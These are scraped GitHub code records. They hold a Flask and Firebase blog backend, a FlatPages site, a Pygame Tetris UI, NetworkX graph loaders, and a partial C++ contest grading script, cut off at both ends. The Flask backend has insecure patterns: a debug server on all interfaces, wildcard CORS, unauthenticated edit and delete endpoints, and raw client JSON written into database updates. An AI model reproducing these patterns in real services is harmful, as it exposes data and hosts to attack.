\"https://devporte-64919.firebaseio.com\",\n \"projectId\": \"devporte-64919\",\n \"storageBucket\": \"devporte-64919.appspot.com\",\n \"messagingSenderId\": \"943749828225\",\n \"appId\": \"1:943749828225:web:3f65bee5527a2d27098780\",\n \"measurementId\": \"G-5HH7B19XJJ\"\n \n}\n\nfirebase = pyrebase.initialize_app(config)\n\nstorage = firebase.storage()\n\napp = Flask(__name__)\ncors = CORS(app, resources={r\"/*\": {\"origins\": \"*\"}})\n\n\nALLOWED_EXTENSIONS_ALL = set(['png', 'jpg', 'jpeg', 'gif', 'mp4'])\n\nUPLOAD_FOLDER = 'media'\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS_ALL\n\n@app.route('/add_expertise', methods=['POST'])\ndef new_expertise():\n \n try:\n \n req_data = request.get_json()\n\n req_data['_id'] = str(ObjectId())\n x = database[\"expertise\"].insert_one(req_data)\n return jsonify({\"msg\": \"Expertise successfully created\"})\n\n except Exception as e:\n return jsonify({\"data\": {\"error_msg\": str(e)}})\n\n\n@app.route('/edit_expertise', methods=['PUT'])\ndef edit_expertise():\n \n try:\n \n req_data = request.get_json()\n \n id = req_data['_id']\n\n print(req_data)\n member = database['expertise'].find_one({\"_id\": id})\n if member is not None:\n \n database['expertise'].update({\"_id\": id}, {\"$set\": req_data},\n upsert=True)\n return jsonify({\"result\": {\"msg\": \"Admin successfully updated\"}})\n else:\n return jsonify({\"msg\": \"Admin does not exist\"})\n \n except Exception as e:\n return jsonify({\"result\": {\"error_msg\": str(e)}})\n\n\n@app.route('/list_blog', methods=['GET'])\ndef list_expertise():\n try:\n exp = database['blog'].find({})\n print(exp.count())\n #return jsonify({\"data\": candidates.count()})\n return jsonify({\"result\": list(exp)})\n except Exception as e:\n return jsonify({\"result\": {\"error_msg\": str(e)}})\n\n@app.route('/get_user_article', methods=['GET'])\ndef get_user_article():\n try:\n exp_id = request.args.get('uid')\n print(exp_id)\n exp = database['blog'].find({\"uid\": exp_id})\n if exp is not None:\n print(exp.count())\n return jsonify({\"data\": list(exp)})\n else:\n return jsonify({\"data\": {\"message\": \"No post Found\"}})\n except Exception as e:\n return jsonify({\"data\": {\"error_msg\": str(e)}})\n\n@app.route('/get_article', methods=['GET'])\ndef get_expertise():\n try:\n exp_id = request.args.get('_id')\n print(exp_id)\n exp = database['blog'].find_one({\"_id\": exp_id})\n if exp is not None:\n return jsonify({\"data\": exp})\n else:\n return jsonify({\"data\": {\"message\": \"Post not Found\"}})\n except Exception as e:\n return jsonify({\"data\": {\"error_msg\": str(e)}})\n\n\n\n@app.route('/delete_expertise', methods=['GET'])\ndef delete_expertise():\n try:\n exp_id = request.args.get('_id')\n print(exp_id)\n exp = database['expertise'].find_one({\"_id\": exp_id})\n if exp is not None:\n database['expertise'].remove({\"_id\": exp_id})\n return jsonify({\"data\": {\"msg\": \"Expertise was successfully removed\"}})\n else:\n return jsonify({\"data\": {\"message\": \"Expertise not Found\"}})\n except Exception as e:\n return jsonify({\"data\": {\"error_msg\": str(e)}})\n\n\n@app.route('/new_post_original', methods=['POST'])\ndef new_post_original():\n res = {}\n\n \n file = request.files['image']\n if 'image' in request.files and allowed_file(file.filename) and 'body' in request.form and 'title' in request.form and 'author' in request.form and 'uid' in request.form :\n \n \n body = request.form['body']\n title = request.form['title']\n uid = request.form['uid']\n \n get_filename = secure_filename(file.filename)\n filename, file_extension = os.path.splitext(get_filename)\n\n \n\n today = datetime.date.today() \n today = str(today) \n #encodedBytes = base64.b64encode(today.encode(\"utf-8\"))\n #encodedStr = str(encodedBytes, \"utf-8\")\n\n \n filename = today+'-'+title+file_extension\n\n filename = filename.replace(' ', '-').lower()\n\n print(filename)\n\n \n else:\n if not 'image' in request.files :res[\"error\"] = \"No Image\"\n if not allowed_file(file.filename):res[\"error\"] = \"File type not supported\"\n \n \n return jsonify({\"data\": res})\n\n filename = os.path.join(app.config['UPLOAD_FOLDER'], filename)\n\n #Cropp image\n #img = Image.open(filename)\n #area =(200, 100, 700,400)\n #new_sizeed_file = img.crop(area)\n #new_sizeed_file.show(new_sizeed_file)\n \n \n print(filename)\n\n if not os.path.exists(UPLOAD_FOLDER):\n os.makedirs(UPLOAD_FOLDER)\n\n \n\n temp_file = os.path.join(app.config['UPLOAD_FOLDER'], \"temp.jpg\")\n \n file.save(temp_file)\n \n storage.child(filename).put(temp_file)\n \n # Get image url from firebase\n img_url = storage.child(filename).get_url(None)\n \n #res[\"msg\"] = \"Valid_Image\"\n shutil.copy(temp_file,filename)\n file = request.files['image']\n\n \n res[\"media\"] = filename\n\n print(request.files)\n\n req_data = request.get_json()\n print(req_data)\n\n data = {\n 'body':body,\n 'title':title,\n 'thumbnail':img_url,\n 'uid': uid\n }\n\n data['_id'] = str(ObjectId())\n x = database[\"blog\"].insert_one(data)\n\n\n #memberID = request.form['memberID']\n #database['users'].update({'_id': memberID}, {\"$set\": {'profile_bg':profile_bg}})\n\n os.remove(temp_file)\n\n return jsonify({\"data\": res})\n\n\n\n@app.route('/new_post', methods=['POST'])\ndef new_post():\n res = {}\n\n file = request.files['image']\n if 'image' in request.files and allowed_file(file.filename) and 'firstname' in request.form and 'lastname' in request.form :\n \n \n firstname = request.form['firstname']\n lastname = request.form['lastname']\n \n \n get_filename = secure_filename(file.filename)\n filename, file_extension = os.path.splitext(get_filename)\n\n \n\n today = datetime.date.today() \n today = str(today) \n #encodedBytes = base64.b64encode(today.encode(\"utf-8\"))\n #encodedStr = str(encodedBytes, \"utf-8\")\n\n \n filename = today+'-'+firstname+file_extension\n\n filename = filename.replace(' ', '-').lower()\n\n print(filename)\n\n\n \n \n else:\n if not 'image' in request.files :res[\"error\"] = \"No Image\"\n if not allowed_file(file.filename):res[\"error\"] = \"File type not supported\"\n \n \n return jsonify({\"data\": res})\n\n filename = os.path.join(app.config['UPLOAD_FOLDER'], filename)\n\n #Cropp image\n #img = Image.open(filename)\n #area =(200, 100, 700,400)\n #new_sizeed_file = img.crop(area)\n #new_sizeed_file.show(new_sizeed_file)\n \n \n print(filename)\n\n if not os.path.exists(UPLOAD_FOLDER):\n os.makedirs(UPLOAD_FOLDER)\n\n \n\n temp_file = os.path.join(app.config['UPLOAD_FOLDER'], \"temp.jpg\")\n \n file.save(temp_file)\n \n storage.child(filename).put(temp_file)\n \n # Get image url from firebase\n img_url = storage.child(filename).get_url(None)\n \n #res[\"msg\"] = \"Valid_Image\"\n shutil.copy(temp_file,filename)\n file = request.files['image']\n\n \n res[\"media\"] = filename\n\n print(request.files)\n\n req_data = request.get_json()\n print(req_data)\n\n data = {\n 'firstname':firstname,\n 'lastname':lastname,\n 'avatar_thumbnail':img_url\n }\n\n data['_id'] = str(ObjectId())\n x = database[\"blog\"].insert_one(data)\n\n\n #memberID = request.form['memberID']\n #database['users'].update({'_id': memberID}, {\"$set\": {'profile_bg':profile_bg}})\n\n os.remove(temp_file)\n\n return jsonify({\"data\": res})\n\n \n\n \n\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0',port=5003, debug=True)","repo_name":"carlnjoku/devporte-backend","sub_path":"blogpost.py","file_name":"blogpost.py","file_ext":"py","file_size_in_byte":8666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7767002484","text":"from flask import Flask, render_template, url_for, redirect\nfrom flask_flatpages import FlatPages, pygments_style_defs\n\n\napp = Flask(__name__)\n\nFLATPAGES_EXTENSION = ['.md', '.html']\nFLATPAGES_MARKDOWN_EXTENSIONS = ['codehilite(linenums=True)']\nFLATPAGES_ROOT = 'pages'\napp.config.from_object(__name__)\n\nflatpages = FlatPages(app)\n\n\n@app.route('/')\n@app.route('/pages/.html')\ndef show_page(path=None):\n _pages = [p for p in flatpages if 'title' in p.meta]\n pages = list(range(len(_pages)))\n for p in _pages:\n pages[p.meta['id']] = p\n if not path:\n if pages:\n return render_template('page.html', pages=pages, page=pages[0])\n else:\n return render_template('index.html', pages=pages)\n page = flatpages.get_or_404(path)\n return render_template('page.html', pages=pages, page=page)\n\n\n@app.route('/static/pygments.css')\ndef pygments_css():\n return pygments_style_defs('tango'), 200, {'Content-Type': 'text/css'}\n\n\nif __name__ == '__main__':\n app.run(\n debug=True,\n # host='0.0.0.0'\n )\n","repo_name":"mengzilym/static-pages","sub_path":"mdweb.py","file_name":"mdweb.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"5092921968","text":"import math\n\nimport pygame\n\nimport features.tetrisgame.Tetris as Tetris\nfrom model.Block import Block\nfrom model.Tetromino import Tetromino\nfrom settings import *\nfrom utils.utils import *\n\n\nclass TetrisUI:\n \"\"\"\n Manages the UI elements for the Tetris game\n \"\"\"\n def __init__(self, tetris) -> None:\n self.tetris = tetris\n\n self.next_piece_text = \"Next Piece:\"\n self.hold_piece_text = \"Hold Piece:\"\n self.lines_cleared_text = \"Lines cleared:\"\n self.level_label_text = \"Level:\"\n self.score_text = \"Score:\"\n\n self.textFont = pygame.font.SysFont(\"comicsans\", TEXT_SIZE)\n self.textFont_countdown = pygame.font.SysFont(\"comicsans\", 50)\n\n def draw(self):\n \"\"\"\n Draws all UI elements onto the screen\n \"\"\"\n self.draw_left_side_bar()\n self.draw_middle()\n self.draw_right_side_bar()\n \n #* Left side bar *#\n \n def draw_left_side_bar(self):\n \"\"\"\n Draw the left side bar UI with its corresponding elements\n \n UI includes:\n -Hold Piece\\n\n -Action\\n\n -Score\\n\n -Level\n \"\"\"\n pygame.draw.rect(self.tetris.app.screen, SIDEBAR_BG_COLOR, (INITIAL_LEFT_SIDEBAR_X, 0, SIDEBAR_WIDTH, BOARD_HEIGHT))\n\n self.draw_hold_piece()\n self.draw_action()\n if self.tetris.game_mode == Tetris.Tetris.MODE_MARATHON:\n self.draw_score()\n self.draw_level()\n elif self.tetris.game_mode in [Tetris.Tetris.MODE_SPRINT, Tetris.Tetris.MODE_ULTRA]:\n self.draw_timer()\n \n def draw_hold_piece(self):\n \"\"\"\n Draws the hold piece UI\n \"\"\"\n hold_item_text_obj = self.textFont.render(self.hold_piece_text, 1, TEXT_LABEL_COLOR)\n hold_item_rect = hold_item_text_obj.get_rect(center = (INITIAL_LEFT_SIDEBAR_X + SIDEBAR_WIDTH//2, BOARD_HEIGHT//7))\n self.tetris.app.screen.blit(hold_item_text_obj, hold_item_rect)\n\n if self.tetris.hold_piece_shape != None:\n block_size = 30\n\n hold_tetromino_rect = pygame.Rect(0,0, block_size, block_size)\n hold_tetromino_rect.centerx = (INITIAL_LEFT_SIDEBAR_X + SIDEBAR_WIDTH//2)\n hold_tetromino_rect.top = hold_item_rect.bottom + (block_size * 3)\n Tetromino.draw_custom_position(\n self.tetris.app.screen,\n self.tetris.tetromino.shape if self.tetris.has_hold else self.tetris.hold_piece_shape,\n (hold_tetromino_rect.x, hold_tetromino_rect.y),\n block_size,\n Block.MODE_BORDER_INDICATION_COLOR if self.tetris.has_hold else Block.MODE_FULL_COLOR\n )\n \n def draw_action(self):\n \"\"\"\n Draws the action UI\n \"\"\"\n b2b_text = \"B2B!\" if self.tetris.is_b2b else \"\"\n full_clear_text = \"Full Clear!\" if self.tetris.is_current_perfect_clear else \"\"\n bonus_action_text = b2b_text + full_clear_text\n bonus_action_obj = self.textFont.render(bonus_action_text, 1, BONUS_ACTION_COLOR)\n \n action_text = ACTION_TO_TEXT[self.tetris.action]\n action_obj = self.textFont.render(action_text, 1, ACTION_COLOR)\n action_rect = action_obj.get_rect()\n\n combo_text = f\"x {self.tetris.combo}\" if self.tetris.combo >= 1 else \"\"\n combo_text_obj = self.textFont.render(combo_text, 1, COMBO_SCORE_COLOR)\n \n bonus_action_rect = bonus_action_obj.get_rect(center = (INITIAL_LEFT_SIDEBAR_X + SIDEBAR_WIDTH//2, BOARD_HEIGHT//2.2 - action_obj.get_height()))\n action_rect = action_obj.get_rect(centerx = INITIAL_LEFT_SIDEBAR_X + SIDEBAR_WIDTH//2, top = bonus_action_rect.bottom + 10)\n combo_text_rect = combo_text_obj.get_rect(centerx = INITIAL_LEFT_SIDEBAR_X + SIDEBAR_WIDTH//2, top = action_rect.bottom + 10)\n\n self.tetris.app.screen.blit(bonus_action_obj, bonus_action_rect)\n self.tetris.app.screen.blit(action_obj, action_rect)\n self.tetris.app.screen.blit(combo_text_obj, combo_text_rect)\n\n def draw_score(self):\n \"\"\"\n Draw the score UI\n \"\"\" \n score_label_obj = self.textFont.render(self.score_text, 1, TEXT_LABEL_COLOR)\n score_label_rect = score_label_obj.get_rect(center = (INITIAL_LEFT_SIDEBAR_X + SIDEBAR_WIDTH//2, BOARD_HEIGHT//1.5))\n self.tetris.app.screen.blit(score_label_obj, score_label_rect)\n\n score_text_obj = self.textFont.render(str(round(self.tetris.score)), 1, TEXT_LABEL_COLOR)\n score_text_rect = score_text_obj.get_rect(centerx = (INITIAL_LEFT_SIDEBAR_X + SIDEBAR_WIDTH//2), top = score_label_rect.bottom + 30)\n self.tetris.app.screen.blit(score_text_obj, score_text_rect)\n \n def draw_level(self):\n \"\"\"\n Draw the level UI\n \"\"\"\n level_label_obj = self.textFont.render(self.level_label_text + \" \"+str(self.tetris.level), 1, TEXT_LABEL_COLOR)\n level_label_rect = level_label_obj.get_rect(center = (INITIAL_LEFT_SIDEBAR_X + SIDEBAR_WIDTH//2, BOARD_HEIGHT//1.15))\n self.tetris.app.screen.blit(level_label_obj, level_label_rect)\n\n def draw_timer(self):\n time_passed_seconds = int(self.tetris.get_time_passed())\n \n if self.tetris.game_mode == Tetris.Tetris.MODE_ULTRA:\n time_left_seconds = int(max((ULTRA_TIME_SPAN/1000) - time_passed_seconds, 0))\n time_left_seconds = max(0, time_left_seconds) \n \n time_to_show = time_passed_seconds if self.tetris.game_mode == Tetris.Tetris.MODE_SPRINT else \\\n time_left_seconds if self.tetris.game_mode == Tetris.Tetris.MODE_ULTRA else\\\n 0\n time_text = convert_seconds_to_time_str(time_to_show)\n \n time_text_obj = self.textFont.render(time_text, 1, TEXT_LABEL_COLOR)\n time_text_rect = time_text_obj.get_rect(center = (INITIAL_LEFT_SIDEBAR_X + SIDEBAR_WIDTH//2, BOARD_HEIGHT//1.4))\n self.tetris.app.screen.blit(time_text_obj, time_text_rect)\n #* Middle *#\n \n def draw_middle(self):\n \"\"\"\n Draw the all the UI elements for the middle of the screen\n \n UI include:\n Tetris Field\\n\n Tetrominos on the field\\n\n Ghost Tetromino \\n\n Countdown Text \n \"\"\"\n pygame.draw.rect(self.tetris.app.screen, TETRIS_BOARD_COLOR, (INITIAL_BOARD_X, 0, BOARD_WIDTH, BOARD_HEIGHT))\n \n self.draw_grid()\n self.tetris.tetromino.draw(self.tetris.app.screen, offset = (SIDEBAR_WIDTH, 0))\n self.draw_field()\n self.draw_ghost_tetromino()\n \n self.draw_countdown()\n \n def draw_field(self):\n \"\"\"\n Draw the Tetris field UI\n \"\"\"\n for row in range(len(self.tetris.field_arr)):\n for col in range(len(self.tetris.field_arr[row])):\n if self.tetris.field_arr[row][col] != 0:\n self.tetris.field_arr[row][col].draw(self.tetris.app.screen, offset = (SIDEBAR_WIDTH, 0))\n \n def draw_ghost_tetromino(self):\n \"\"\"\n Draw the ghost tetromino UI\n \"\"\"\n \n # First method\n # tetro = self.tetris.get_ghost_tetromino()\n # tetro.draw(self.tetris.app.screen, offset = (SIDEBAR_WIDTH, 0), mode = Block.MODE_BORDER_INDICATION)\n \n # Second method\n drop_distance = self.tetris.tetromino.drop_distance()\n for block in self.tetris.tetromino.blocks:\n Block.draw_custom(\n self.tetris.app.screen,\n #(SIDEBAR_WIDTH, 0) is to offset the left sidebar when drawing the block onto the screen\n (block.pos + (0, drop_distance)) * BLOCK_SIZE + (SIDEBAR_WIDTH,0), \n BLOCK_SIZE,\n color = TETROMINO_COLOR[self.tetris.tetromino.shape],\n mode = Block.MODE_BORDER_INDICATION_COLOR\n )\n \n def draw_grid(self):\n \"\"\"\n Draw the grid UI for the Tetris Field\n \"\"\"\n for row in range(FIELD_HEIGHT):\n # draw horizontal line\n pygame.draw.line(self.tetris.app.screen, \"black\", \n (INITIAL_BOARD_X, row * BLOCK_SIZE), \n (BOARD_WIDTH + SIDEBAR_WIDTH, row * BLOCK_SIZE), \n 1)\n # draw vertical line\n for col in range(FIELD_WIDTH):\n pygame.draw.line(self.tetris.app.screen, \"black\", \n (col * BLOCK_SIZE + INITIAL_BOARD_X, 0), \n (col * BLOCK_SIZE + SIDEBAR_WIDTH, BOARD_HEIGHT), \n 1)\n \n \"\"\"\n Draw a red horizontal line indiciating the SkyLine\n \"\"\"\n pygame.draw.line(self.tetris.app.screen, \"red\", \n (INITIAL_BOARD_X, SKY_LINE * BLOCK_SIZE), \n (BOARD_WIDTH + SIDEBAR_WIDTH, SKY_LINE * BLOCK_SIZE), \n 10)\n def draw_countdown(self):\n if self.tetris.time_left_countdown_ms > 0 and WITH_COUNTDOWN:\n time_left_str = convert_seconds_to_time_str(math.ceil(self.tetris.time_left_countdown_ms/1000))\n time_left_obj = self.textFont.render(time_left_str, 1, \"yellow\")\n time_left_rect = time_left_obj.get_rect(center = (self.tetris.app.screen.get_width()//2, self.tetris.app.screen.get_height()//2))\n self.tetris.app.screen.blit(time_left_obj, time_left_rect)\n \n #* Left side bar *#\n def draw_right_side_bar(self):\n \"\"\"\n Draw the right side bar UI with its corresponding elements\n \n UI includes:\n Next Piece\\n\n Lines cleared\n \"\"\"\n pygame.draw.rect(self.tetris.app.screen, SIDEBAR_BG_COLOR, (INITIAL_RIGHT_SIDEBAR_X, 0, SIDEBAR_WIDTH, BOARD_HEIGHT))\n\n self.draw_next_piece()\n self.draw_lines_cleared()\n\n def draw_next_piece(self):\n \"\"\"\n Draw the next tetromino piece UI\n \"\"\"\n next_item_label_obj = self.textFont.render(self.next_piece_text, 1, TEXT_LABEL_COLOR)\n next_item_label_rect = next_item_label_obj.get_rect(center = (INITIAL_RIGHT_SIDEBAR_X + SIDEBAR_WIDTH//2, BOARD_HEIGHT//7))\n self.tetris.app.screen.blit(next_item_label_obj, next_item_label_rect)\n\n block_size = 30\n\n next_tetromino_rect = pygame.Rect(0,0, block_size, block_size)\n next_tetromino_rect.centerx = (INITIAL_RIGHT_SIDEBAR_X + SIDEBAR_WIDTH//2)\n next_tetromino_rect.top = next_item_label_rect.bottom + 70\n\n y_offset = 0\n for i in range(min(NUM_NEXT_PIECE_TO_DISPLAY, len(self.tetris.bag))):\n Tetromino.draw_custom_position(self.tetris.app.screen, \n self.tetris.bag[i],\n (next_tetromino_rect.x, next_tetromino_rect.y + y_offset), \n block_size)\n y_offset += block_size * 3\n\n def draw_lines_cleared(self):\n \"\"\"\n Draw the lines cleared UI\n \"\"\"\n cleared_label_obj = self.textFont.render(self.lines_cleared_text, 1, TEXT_LABEL_COLOR)\n cleared_label_rect = cleared_label_obj.get_rect(center = (INITIAL_RIGHT_SIDEBAR_X + SIDEBAR_WIDTH//2, BOARD_HEIGHT//1.2))\n self.tetris.app.screen.blit(cleared_label_obj, cleared_label_rect)\n\n line_cleared_obj = self.textFont.render(str(self.tetris.lines_cleared), 1, TEXT_LABEL_COLOR)\n line_cleared_rect = line_cleared_obj.get_rect(center = (INITIAL_RIGHT_SIDEBAR_X + SIDEBAR_WIDTH//2, BOARD_HEIGHT//1.1))\n self.tetris.app.screen.blit(line_cleared_obj, line_cleared_rect)","repo_name":"Dense18/Tetris","sub_path":"features/tetrisgame/TetrisUI.py","file_name":"TetrisUI.py","file_ext":"py","file_size_in_byte":11717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6928376150","text":"#!/usr/bin/python3\n\n\"\"\"\nFunctions to read our csv graph files into Networkx.\n\nSample usage:\n```\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\nG = read_graphs('firenze')\nH, dual_map = read_dual_graph('firenze')\n\n\n# node centrality\n\nc = nx.katz_centrality(G)\n\npos = {n:(G.nodes[n]['x'],G.nodes[n]['y']) for n in G.nodes}\nax = plt.gca()\nnx.draw_networkx_edges(G, pos, ax=ax, node_size=10)\nnx.draw_networkx_nodes(G, pos, ax=ax, node_size=10, node_color=[c[i] for i in G.nodes])\nax.autoscale()\nplt.show()\n\n# edge centrality\n\nc = nx.katz_centrality(H)\nc_mapped = [c[dual_map[tuple(sorted(e))]] for e in G.edges]\npos = {n:(G.nodes[n]['x'],G.nodes[n]['y']) for n in G.nodes}\nax = plt.gca()\nnx.draw_networkx_edges(G, pos, ax=ax, node_size=10, edge_color = c_mapped)\nax.autoscale()\nplt.show()\n\n# Betweenness centrality of roads (slow)\n\nfor i,j in H.edges: H[i][j]['AbsChangeOfDirection'] = abs(H[i][j]['ChangeOfDirection'])\nc = nx.betweenness_centrality(H, weight='AbsChangeOfDirection')\nc_mapped = [c[dual_map[tuple(sorted(e))]] for e in G.edges]\npos = {n:(G.nodes[n]['x'],G.nodes[n]['y']) for n in G.nodes}\nax = plt.gca()\nnx.draw_networkx_edges(G, pos, ax=ax, node_size=10, edge_color = c_mapped)\nax.autoscale()\nplt.show()\n\n\n\n```\n\"\"\"\n\n\nimport networkx as nx\n\ndef get_column_type(header:str):\n \"\"\"\n Determines column type from its header (from external knowledge)\n \"\"\"\n if header in ['switched']:\n return bool\n elif header in ['EndNodes_1', 'EndNodes_2', 'Ref', 'Connectivity']:\n return int\n else:\n return float\n\ndef read_edge_file(filename:str):\n \"\"\"\n Reads an edge file in our format (*_edges.csv or *_dual_edges.csv) into a graph\n \"\"\"\n with open(filename, \"r\") as edge_file:\n endnodes_1_label, endnodes_2_label, *headers = edge_file.readline().rstrip().split(',')\n assert(endnodes_1_label == 'EndNodes_1')\n assert(endnodes_2_label == 'EndNodes_2')\n headers_with_types = list((header, get_column_type(header)) for header in headers)\n G = nx.parse_edgelist(edge_file, delimiter=',', create_using=nx.Graph(),\n nodetype=int, data=headers_with_types)\n return G\n\ndef read_node_attributes(G:nx.Graph, filename:str):\n \"\"\"\n Populates node attributes for graph G from filename (*_nodes.csv)\n \"\"\"\n with open(filename, 'r') as node_file:\n id_label, *headers = node_file.readline().rstrip().split(',')\n assert(id_label == 'id')\n header_types = list(map(get_column_type, headers))\n for line in node_file:\n id, *attributes = line.rstrip().split(',')\n id = int(id)\n for header, header_type, attribute in zip(headers, header_types, attributes):\n G.nodes[id][header] = header_type(attribute)\n\ndef read_dual_node_attributes(H:nx.Graph, filename:str):\n \"\"\"\n Populates node attributes for the dual graph H from filename (*_edges.csv)\n Note that this has a slightly different format from the other file as it does not include ids.\n\n This also returns a \"dual map\" that tells which node of G corresponds to a node index in H\n \"\"\"\n with open(filename, 'r') as edge_file:\n headers = edge_file.readline().rstrip().split(',')\n assert(headers[0] == 'EndNodes_1')\n assert(headers[1] == 'EndNodes_2')\n header_types = list(map(get_column_type, headers))\n dual_map = dict()\n id = 1\n for line in edge_file:\n attributes = list(line.rstrip().split(','))\n # for speed reasons, we do not check that this matches \n for header, header_type, attribute in zip(headers, header_types, attributes):\n H.nodes[id][header] = header_type(attribute)\n dual_map[(int(attributes[0]), int(attributes[1]))] = id\n id = id + 1\n\n return dual_map\n\ndef read_primal_graph(basename:str):\n \"\"\"\n Builds networkx primal graph G from basename_nodes.csv and basename_edges.csv\n \"\"\"\n G = read_edge_file(f'{basename}_edges.csv')\n read_node_attributes(G, f'{basename}_nodes.csv')\n return G\n\ndef read_dual_graph(basename:str):\n \"\"\"\n Builds networkx dual graph G from basename_edges.csv and basename_dual_edges.csv\n \"\"\"\n H = read_edge_file(f'{basename}_dual_edges.csv')\n dual_map = read_dual_node_attributes(H, f'{basename}_edges.csv')\n return H, dual_map\n\n","repo_name":"numpi/kemeny-based-centrality","sub_path":"read_graphs.py","file_name":"read_graphs.py","file_ext":"py","file_size_in_byte":4375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71575132641","text":"from glob import glob\nimport os\nimport subprocess\nimport re\nimport random\nimport Levenshtein\nimport math\n\nrandom.seed()\n\nprecision_target = int(math.pi*1024*1024)\n\ndef precisionchecker(infile):\n if len(open(infile, 'rb').read()) > 256:\n print('Source file', infile, 'too long.')\n return False\n return True\n\ndef plainchecker(infile):\n permitted = {'vector' : True,\n 'map' : True,\n 'iostream' : True,\n 'functional' : True,\n 'memory' : True,\n 'utility' : True,\n 'stdexcept' : True,\n 'string' : True,\n 'set' : True,\n 'unordered_map' : True,\n 'unordered_set' : True,\n 'regex' : True,\n 'array' : True,\n 'stack' : True,\n 'queue' : True,\n 'algorithm' : True,\n 'iterator' : True,\n 'complex' : True,\n 'atomic' : True,\n 'thread' : True,\n 'mutex' : True,\n 'future' : True,\n 'typeinfo' : True,\n 'tuple' : True,\n 'initializer_list' : True\n }\n if len(open(infile, 'rb').read()) > 512:\n print('Source file', infile, 'too long.')\n includere = re.compile('''^\\s*#\\s*include\\s*[<\"](.*?)[>\"]''')\n for line in open(infile):\n m = re.search(includere, line)\n if m:\n include = m.group(1)\n if include not in permitted:\n print(\"Invalid include\", include, \"in\", infile)\n return False\n elif '#' in line or '??=' in line or '%:' in line or line.strip().endswith('%\\\\'):\n print('Invalid use of preprocessor in', infile)\n return False\n return True\n\ndef oneshotchecker(infile):\n if len(open(infile, 'rb').read()) > 256:\n print('Source file', infile, 'too long.')\n return False\n return True\n\ndef create_testdata():\n res = []\n for i in range(random.randint(1000, 10000)):\n res.append(chr(ord('a') + random.randint(0, 26)))\n if random.random() < 0.1:\n res.append('\\n')\n return ''.join(res)\n\ndef levenshteinchecker(infile):\n (base, suf) = os.path.splitext(infile)\n okfile = base + '_ok' + suf\n if not os.path.exists(okfile):\n print('Passing file', okfile, 'not found.')\n return False\n entry_src = open(infile, 'rb').read()\n if len(entry_src) > 256:\n print('Source file too big.')\n return False\n dist = Levenshtein.distance(entry_src, open(okfile, 'rb').read())\n if dist != 1:\n print('Levenshtein distance', dist, 'not equal to one.')\n return False\n binname = os.path.join(os.path.curdir, 'levbinary')\n cmd = ['g++', '-std=c++11', '-Wall', '-Wextra', '-Wpedantic', '-o', binname, okfile]\n p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n if b'//' in entry_src or b'/*' in entry_src:\n print(\"Comments are forbidden in this category. Nice try, though.\")\n return False\n (stdo, stde) = p.communicate()\n stdo = stdo.decode()\n stde = stde.decode()\n if p.returncode != 0:\n print(\"Compilation failed.\")\n print(stdo)\n print(stde)\n return False\n if len(stdo) != 0:\n print(\"Fail, stdout has text:\")\n print(stdo)\n return False\n if len(stde) != 0:\n print('Fail, stderr has text:')\n print(stde)\n return False\n testdata = create_testdata()\n testifname = 'test.dat'\n testofname = 'output.dat'\n open(testifname, 'w').write(testdata)\n p = subprocess.Popen([binname, testifname, testofname], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n p.communicate()\n if p.returncode != 0:\n print(\"Running test binary failed.\")\n os.unlink(binname)\n os.unlink(testifname)\n return False\n if not os.path.exists(testofname):\n print('Output file not created.')\n os.unlink(binname)\n os.unlink(testifname)\n return False\n testoutput = open(testofname, 'r').read()\n os.unlink(binname)\n os.unlink(testifname)\n os.unlink(testofname)\n if testoutput[::-1] != testdata:\n print(\"Output is incorrect.\")\n return False\n return True\n\ndef packages_installed(packagefile):\n if not os.path.isfile(packagefile):\n print('Package file missing in ', packagefile)\n for line in open(packagefile).readlines():\n line = line.strip()\n if line == '':\n continue\n cmd = ['aptitude', 'show', line]\n pc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n so = pc.communicate()[0].decode()\n if not 'State: installed' in so:\n print('Package', line, 'not installed in', packagefile)\n return False\n return True\n\ndef info_ok(infofile):\n if not os.path.isfile(infofile):\n print('Info file missing for', infofile)\n return False\n lines = open(infofile).readlines()\n if len(lines) != 3:\n print('Incorrect number of lines in info file in', infofile)\n return False\n elems = lines[0].strip().split()\n if len(elems) != 2:\n print('Malformed email line in', infofile)\n return False\n if elems[0] != 'email' or '@' not in elems[1]:\n print('Malformed email line in', infofile)\n return False\n elems = lines[1].strip().split()\n if len(elems) < 2 or elems[0] != 'title':\n print('Malformed title line in', infofile)\n return False\n elems = lines[2].strip().split()\n if len(elems) < 2 or elems[0] != 'author':\n print('Malformed author line in', infofile)\n return False\n return True\n\ndef has_extra_files(d, basename):\n allowed = {'info.txt' : True,\n 'includes.txt' : True,\n 'packages.txt' : True,\n basename + '.cpp': True\n }\n if os.path.split(d)[0] == 'levenshtein':\n allowed[basename + '_ok.cpp'] = True\n for d in glob(os.path.join(d, '*')):\n base = os.path.split(d)[-1]\n if base not in allowed:\n print(basename, 'has an extra file', base)\n return True\n return False\n\ndef measure(subdir):\n compiler = '/usr/bin/g++'\n basic_flags = ['-std=c++11', '-c', '-o', '/dev/null']\n buildtype_flags = {'oneshot': ['-fmax-errors=1'],\n 'levenshtein' : [],\n 'precision' : []}\n results = []\n include_re = re.compile('[^a-zA-Z0-9/-_.]')\n dirname_re = re.compile('[^a-z0-9]')\n for d in glob(os.path.join(subdir, '*')):\n basename = os.path.split(d)[-1]\n if dirname_re.search(basename) is not None:\n print(\"Only lowercase letters and numbers allowed in entry name.\")\n continue\n sourcename = basename + '.cpp'\n fullsrc = os.path.join(d, sourcename)\n if has_extra_files(d, basename):\n continue\n if not os.path.isfile(fullsrc):\n print('Missing source file', fullsrc)\n continue\n infofile = os.path.join(d, 'info.txt')\n packagefile = os.path.join(d, 'packages.txt')\n if subdir == 'anything':\n if not packages_installed(packagefile):\n continue\n 